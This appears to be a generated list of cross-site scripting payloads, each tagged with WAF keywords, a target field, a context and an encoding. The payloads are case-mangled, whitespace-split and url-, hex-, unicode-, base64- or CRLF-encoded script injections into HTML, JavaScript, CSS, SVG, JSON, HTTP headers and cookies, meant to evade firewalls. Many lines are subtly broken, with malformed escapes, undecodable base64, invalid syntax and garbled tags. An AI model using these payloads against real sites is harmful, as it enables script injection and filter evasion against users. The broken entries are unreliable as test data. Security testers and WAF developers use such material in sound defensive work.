[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){alert(1)}}; o.x = 1; //
[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; Var o = {seT x(v){aLerT(1)}}; o.x = 1; //
[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; Var o = {sEt x(v){alErt(1)}}; O.X = 1; //
[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){alErt(1)}}; o.x = 1; //
[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]' ; var o = { set x ( v ) { alert ( 1 ) } } ; o.x = 1 ; //
[WAFnerror|FIELD:setter|CONTEXT:js|ENCODING:utf8]'; var o = {set x(v){aLERT(1)}}; o.x = 1; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { alert(1) } }; X.x; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { aLERt(1) } }; X.x; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; class X { static get x() { AlErT(1) } }; X.x; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; cLass X { Static Get X() { Alert(1) } }; x.x; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]' ; class X { static get x ( ) { alert ( 1 ) } } ; X.x ; //
[WAF:|FIELD:static_getter|CONTEXT:js|ENCODING:utf8]'; cLAsS x { static gET X() { aleRT(1) } }; X.x; //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = alert(1) }; new X(); //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = alErt(1) }; new X(); //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; clAss x { x = AlERt(1) }; neW X(); //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; clAss X { x = AlErT(1) }; new x(); //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]' ; class X { x = alert ( 1 ) } ; new X ( ) ; //
[WAF:script,alert|FIELD:class_field|CONTEXT:js|ENCODING:utf8]'; class X { x = ALErT(1) }; new X(); //
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[alert(1)]: 1}; //
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[ALERt(1)]: 1}; //
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; var o = {[aLert(1)]: 1}; //
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'
;
var
o
=
{
[alert
(
1
)
]
:
1
}
;
//
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; VAr O = {[alERt(1)]: 1}; //
[WAF:script,onerror|FIELD:computed|CONTEXT:js|ENCODING:utf8]'; Var O = {[alErT(1)]: 1}; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = alert(1); var o = {x}; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]' ; var x = alert ( 1 ) ; var o = { x } ; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = aLErT(1); VAr o = {x}; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = AlERt(1); var o = {x}; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; var x = ALeRt(1); var o = {x}; //
[WAF:alert,onerror|FIELD:shorthand|CONTEXT:js|ENCODING:utf8]'; Var X = aLErt(1); var O = {X}; //
[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[alert(1)]: 1}}; //
[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[alErt(1)]: 1}}; //
[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]' ; var o = { ... { [alert ( 1 ) ] : 1 } } ; //
[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; VaR o = {...{[aLeRT(1)]: 1}}; //
[WAF:script|FIELD:spread_obj|CONTEXT:js|ENCODING:utf8]'; var o = {...{[aLerT(1)]: 1}}; //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; function f(...x){ alert(1) }; f(); //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; FunCTion F(...x){ alErt(1) }; f(); //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; fUNCtION f(...x){ aLERT(1) }; f(); //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; FuncTioN f(...x){ alert(1) }; f(); //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]' ; function f ( ...x ) { alert ( 1 ) } ; f ( ) ; //
[WAFnerror|FIELD:rest|CONTEXT:js|ENCODING:utf8]'; fuNCTion f(...x){ ALERT(1) }; f(); //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; function f(x = alert(1)){}; f(); //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; FUNCtIOn F(X = ALERT(1)){}; f(); //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]' ; function f ( x = alert ( 1 ) ) { } ; f ( ) ; //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; FuNcTion f(x = aleRT(1)){}; f(); //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; funCtIOn f(x = AleRT(1)){}; f(); //
[WAF:|FIELD:default_param|CONTEXT:js|ENCODING:utf8]'; fuNcTIOn f(x = AlerT(1)){}; f(); //
[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => alert(1))(); //
[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => aleRT(1))(); //
[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => alErt(1))(); //
[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'
;
(
(
)
=
alert
(
1
)
)
(
)
;
//
[WAF:script,alert|FIELD:arrow|CONTEXT:js|ENCODING:utf8]'; (() => aLERt(1))(); //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => alert(1); x(); //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; VaR x = () => alert(1); x(); //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; vaR x = () => aLerT(1); x(); //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]' ; var x = ( ) = > alert ( 1 ) ; x ( ) ; //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => aLeRt(1); x(); //
[WAF:script,onerror|FIELD:concise|CONTEXT:js|ENCODING:utf8]'; var x = () => aLErT(1); x(); //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { alert(1) }; //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { ALErT(1) }; //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { AlErt(1) }; //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]' ; { alert ( 1 ) } ; //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { AleRt(1) }; //
[WAF:alert,onerror|FIELD:block|CONTEXT:js|ENCODING:utf8]'; { aLeRT(1) }; //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (function(){ alert(1) })(); //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (FUNctION(){ aLErt(1) })(); //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]' ; ( function ( ) { alert ( 1 ) } ) ( ) ; //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (functiON(){ alerT(1) })(); //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (fUnctIon(){ aLErT(1) })(); //
[WAF:script|FIELD:iife|CONTEXT:js|ENCODING:utf8]'; (FuncTion(){ alert(1) })(); //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new function(){ alert(1) }; //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; neW fUnCTION(){ ALeRt(1) }; //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new FuNcTion(){ ALERT(1) }; //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; new FUnCtIon(){ ALERT(1) }; //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]'; New FunCTiOn(){ aleRt(1) }; //
[WAFnerror|FIELD:new_function|CONTEXT:js|ENCODING:utf8]' ; new function ( ) { alert ( 1 ) } ; //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void alert(1); //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void alERt(1); //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; vOid Alert(1); //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; void ALeRT(1); //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]'; vOiD ALert(1); //
[WAF:|FIELD:void|CONTEXT:js|ENCODING:utf8]' ; void alert ( 1 ) ; //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof alert(1); //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; tYPEof alERt(1); //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof AlErT(1); //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; TyPEof AlErt(1); //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]'; typeof AlErt(1); //
[WAF:script,alert|FIELD:typeof|CONTEXT:js|ENCODING:utf8]' ; typeof alert ( 1 ) ; //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete alert(1); //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]' ; delete alert ( 1 ) ; //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete ALErT(1); //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; DElete aleRt(1); //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; dEletE alERT(1); //
[WAF:script,onerror|FIELD:delete|CONTEXT:js|ENCODING:utf8]'; delete aLErT(1); //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; alert(1) in {}; //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; AleRt(1) in {}; //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; alert(1) In {}; //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]' ; alert ( 1 ) in { } ; //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; aleRt(1) In {}; //
[WAF:alert,onerror|FIELD:in|CONTEXT:js|ENCODING:utf8]'; Alert(1) in {}; //
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alert(1) instanceof Object; //
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'
;
alert
(
1
)
instanceof
Object
;
//
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; ALeRt(1) iNStanCeof ObJEct; //
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alert(1) InstanCeof ObJeCt; //
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; alerT(1) instanceof Object; //
[WAF:script|FIELD:instanceof|CONTEXT:js|ENCODING:utf8]'; AlERt(1) instanceof Object; //
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img Src=x onerrOR=COnfirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><IMG src=x ONerroR=confIrm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x onerrOR=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><IMG src=x onerror=confirm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]> <img src = x onerror = confirm ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><img src=x OneRroR=CoNFirM(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><ImG src=x onERroR=conFIrm(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><Svg oNloaD=PrOMpt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><SVG ONloaD=PrOMpt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg oNlOAd=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]> <svg onload = prompt ( 1 ) >
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><Svg onload=prompt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><svg oNlOad=prOmPt(1)>
[WAF:script,alert|FIELD:search|CONTEXT:html|ENCODING:utf8]><sVg oNLoAD=ProMpt(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><body onpageshow=alert(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BodY ONPageShow=alErt(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]>
<body
onpageshow
=
alert
(
1
)
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BodY onpageshow=alert(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><boDy OnpAgeshoW=aleRt(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><body onpageshow=aleRT(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><BODY onpageshow=ALErt(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=alert(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><mARqueE OnSTArT=alerT(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=ALeRT(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee oNSTart=alert(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]><marquee onstart=ALerT(1)>
[WAF:script,onerror|FIELD:username|CONTEXT:html|ENCODING:utf8]> <marquee onstart = alert ( 1 ) >
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=prompt(1) open>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=pRomPT(1) open>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><detAils onToggle=prOmPT(1) open>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dEtAILs oNtoGGLe=prOmpt(1) oPEN>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]> <details ontoggle = prompt ( 1 ) open>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><details ontoggle=pRompT(1) open>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=confirm(1) autofocus>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfOcUS=confirm(1) autofocus>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=confIRm(1) autofocus>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><KeYGen OnfOCus=cOnFIrm(1) aUtofocUs>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]> <keygen onfocus = confirm ( 1 ) autofocus>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><keygen onfocus=cOnfirM(1) autofocus>
[WAF:alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><kEyGen oNfOcus=conFIRm(1) aUtoFOcuS>
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onload=prompt%281%29 autofocus="
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onLo%41d=pR%6FmpT%281%29 AutofOcUS="
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:url]" onload=p%72ompt%281%29 a%75%74ofo%63us="
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:json]\"}; alert(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:json]\"}; ALerT(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; alert(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; Al\u0045r\u0054(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:unicode]\u0027; \u0061le\u0072t(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; alert(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; \x61l\x65rT(1); //
[WAF:script,onerror|FIELD:username|CONTEXT:js|ENCODING:hex]\x27; aler\x74(1); //
[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]javascript%3aprompt(1)
[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]JAv%61%53%63RIpT%3apRom%70t(1)
[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:url]javas%63%72ipt%3apromp%74(1)
[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:double_url]javascript%253aprompt(1)
[WAF:alert,onerror|FIELD:redirect|CONTEXT:url|ENCODING:double_url]%6Aava%73cript%253apr%6Fmp%74(1)
[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:base64]data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:base64]data:text/html;base64,PHNJcMlwDD5hbgVydcgxkTwvc2NyaXB0Pg==
[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]data%3atext/html,<script>alert(1)</script>
[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]daTA%3ate%78t/htm%6C,<scrIp%74>aLErt(1)</scRI%70T>
[WAF:script|FIELD:profile|CONTEXT:data_uri|ENCODING:url]data%3%61tex%74/html,<script>%61lert(1)</script>
[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:css_escape]\22 }; * {background:url(javascript:prompt(1))}//
[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:css_escape]\\\2\2\ \}\;\ \*\ \{\b\a\c\k\g\r\o\u\n\d\:\u\r\l\(\j\a\v\a\s\c\r\i\p\t\:\p\r\o\m\p\t\(\1\)\)\}\/\/
[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {background:url(\6a\61\76\61\73\63\72\69\70\74:prompt(1))}//
[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {backgr\x6fund:url(\6a\61\76\61\73\63\72\69\70\74:prompt(1))}//
[WAF:alert|FIELD:comment|CONTEXT:css|ENCODING:hex];} * {backgrou\x6ed:url(\6a\61\76\61\73\63\72\69\70\74:pRoMP\x74(1))}//
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]<svg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]<svg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]<sVg OnLOAD=alErt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]<svg onLOAD=ALeRt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:html]&lt;svg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]<svg><script>alert(1)</script></svg>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]<svg><sCrIpt>alERT(1)</sCrIpt></svg>
[WAFnerror|FIELD:avatar|CONTEXT:svg|ENCODING:xml]<svg><Script≫aLErt(1)</scrIpt>≪/Svg>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<img src=x onerror=alert(1)>\", \"foo\":\"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<Img src=X onerroR=alerT(1)>\", \"foO\":\"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:json]\"}, \"error\": \"<img src=x oneRROr=alErT(1)>\", \"foo\":\"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022error\u0022: \u0022<img src=x onerror=alert(1)>\u0022
[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022e\u0072\u0072or\u0022: \u0022<img src=x oNerroR=ALErT(1)>\u0022
[WAF:|FIELD:api|CONTEXT:json|ENCODING:unicode]\u0022, \u0022error\u0022: \u0022<img src=x onerror=aler\u0074(1)>\u0022
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-Forwarded-For:%20127.0.0.1%22%3E%3Cscript%3Ealert(1)%3C/script%3E
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-%46orwarded-For:%20127.0.0.1%22%3E%3Cscr%69pt%3Ealert(1)%3%43/%73cript%3E
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:url]X-ForwArdeD-FOR:%20127.0.0.1%22%3E%3Cscript%3EaleR%74(1)%3C/sc%52iPT%3E
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-Forwarded-For: 127.0.0.1%0d%0a%0d%0a<script>alert(1)</script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-ForwaRded-For: 127.0.0.1%0d%0A%0D%0a<scripT>aLErT(1)</scrIPT>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:crlf]X-Forwarded-For: 127.0.0.1%0d%0a%0d%0a<ScrIpt>ALeRt(1)</ScrIpt>
[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Cookie:%20session=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Cookie:%20session=%22%3E%3Cs%63rip%74%3E%61lert(1)%3C/script%3E
[WAF:script,onerror|FIELD:cookie|CONTEXT:http|ENCODING:url]Co%4FKie:%20ses%73ION=%22%3E%3cscript%3E%61lER%74(1)%3c/scRipt%3e
[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]><![CDATA[<script>prompt(1)</script>]]>
[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]>&lT;![CDaTa[<script>proMpT(1)</sCrIpT>]]≫
[WAF:alert,onerror|FIELD:xml|CONTEXT:xml|ENCODING:xml]><![CDATA[<sCRipT>promPT(1)</sCRipT>]]>
[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{constructor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}
[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{cons\u0074\u0072uctor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}
[WAF:script|FIELD:vue|CONTEXT:js|ENCODING:unicode]{{const\u0072uctor.constructor('\u0061\u006c\u0065\u0072\u0074(1)')()}}
[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3Cimg%20src=x%20onerror=alert(1)%3E
[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3ciMg%20s%72c=x%20onErRoR=a%4CeRt(1)%3E
[WAF:script,onerror|FIELD:dom|CONTEXT:url_fragment|ENCODING:url]#%3Cimg%20src=x%20o%6Eer%72or=al%65rt(1)%3E
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\x70\x72\x6f\x6d\x70\x74(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\\x7870\x72\x6f\x6d\x70\x74(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:hex]'; eval('\x70\x72\x6\x66\x6d\x70\x74(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; eval('\u0070\u0072\u006f\u006d\u0070\u0074(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; \u0045VAl('\\u00750070\u0072\u006f\u006d\u0070\u0074(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:unicode]'; eval('\u0070\u0072\u006\u0066\u006d\u0070\u0074(1)'); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; eval(atob('cHJvbXB0KDEp')); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; evaL(aTOb('cHjvbXB0kDEp')); //
[WAF:alert,onerror|FIELD:eval|CONTEXT:js|ENCODING:base64]'; EVal(atob('cHJvbXB0KDEp')); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; Function('\x61\x6c\x65\x72\x74(1)')(); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; FUnCTio\x4e('\\x7861\x6c\x65\x72\x74(1)')(); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:hex]'; Function('\\x7861\x6c\x65\x72\x74(1)')(); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; Function('\u0061\u006c\u0065\u0072\u0074(1)')(); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; f\u0075\u006eCtION('\u0061\u006c\u0065\u0072\u0074(1)')(); //
[WAF:script|FIELD:function|CONTEXT:js|ENCODING:unicode]'; F\\u00750075nction('\u0061\u006c\u0065\u0072\u0074(1)')(); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; setTimeout('\x61\x6c\x65\x72\x74(1)', 0); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; se\x74Timeout('\x61\x6\x63\x65\x72\x74(1)', 0); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:hex]'; setTimeout('\\x7861\x6c\x65\x72\x74(1)', 0); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; setTimeout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; setT\\u00750069meout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //
[WAFnerror|FIELD:timeout|CONTEXT:js|ENCODING:unicode]'; s\\u00750065tTimeout('\u0061\u006c\u0065\u0072\u0074(1)', 0); //
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]><iframe srcdoc="<script>alert(1)</script>">
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gT;<iFrame sRCDoC="<scripT>alerT(1)&lT;/scRiPT>">
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]><iframe srcdoc="<script>alert(1)</script>">
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]><iframe srcdoc="<script>alert(1)</script>">
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:html]&gt;<iframe srcdoc="<ScRipT>aLerT(1)</ScRipT>">
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3E%3Ciframe%20srcdoc%3D%22%3Cscript%3Ealert(1)%3C/script%3E%22%3E
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3%65%3CI%46ra%6DE%20srcdoc%3D%22%3CscriPt%3EalErT(1)%3C/SCript%3E%22%3e
[WAF:|FIELD:iframe|CONTEXT:html|ENCODING:url]%3E%3Ciframe%20sr%63%64%6Fc%3D%22%3Cs%63ript%3Ealert(1)%3C/script%3E%22%3E
[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=javascript:alert(1)%22%3E
[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=javascript:alert(1)%22%3E
[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3E%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220;url=j%61vas%63ript:alert(1)%22%3E
[WAF:script,alert|FIELD:meta|CONTEXT:html|ENCODING:url]%3e%3CmETA%20htTp-eqUiv%3d%22%52efRESh%22%20CoNtent%3D%220;URl=ja%56Ascript:ale%72t(1)%22%3e
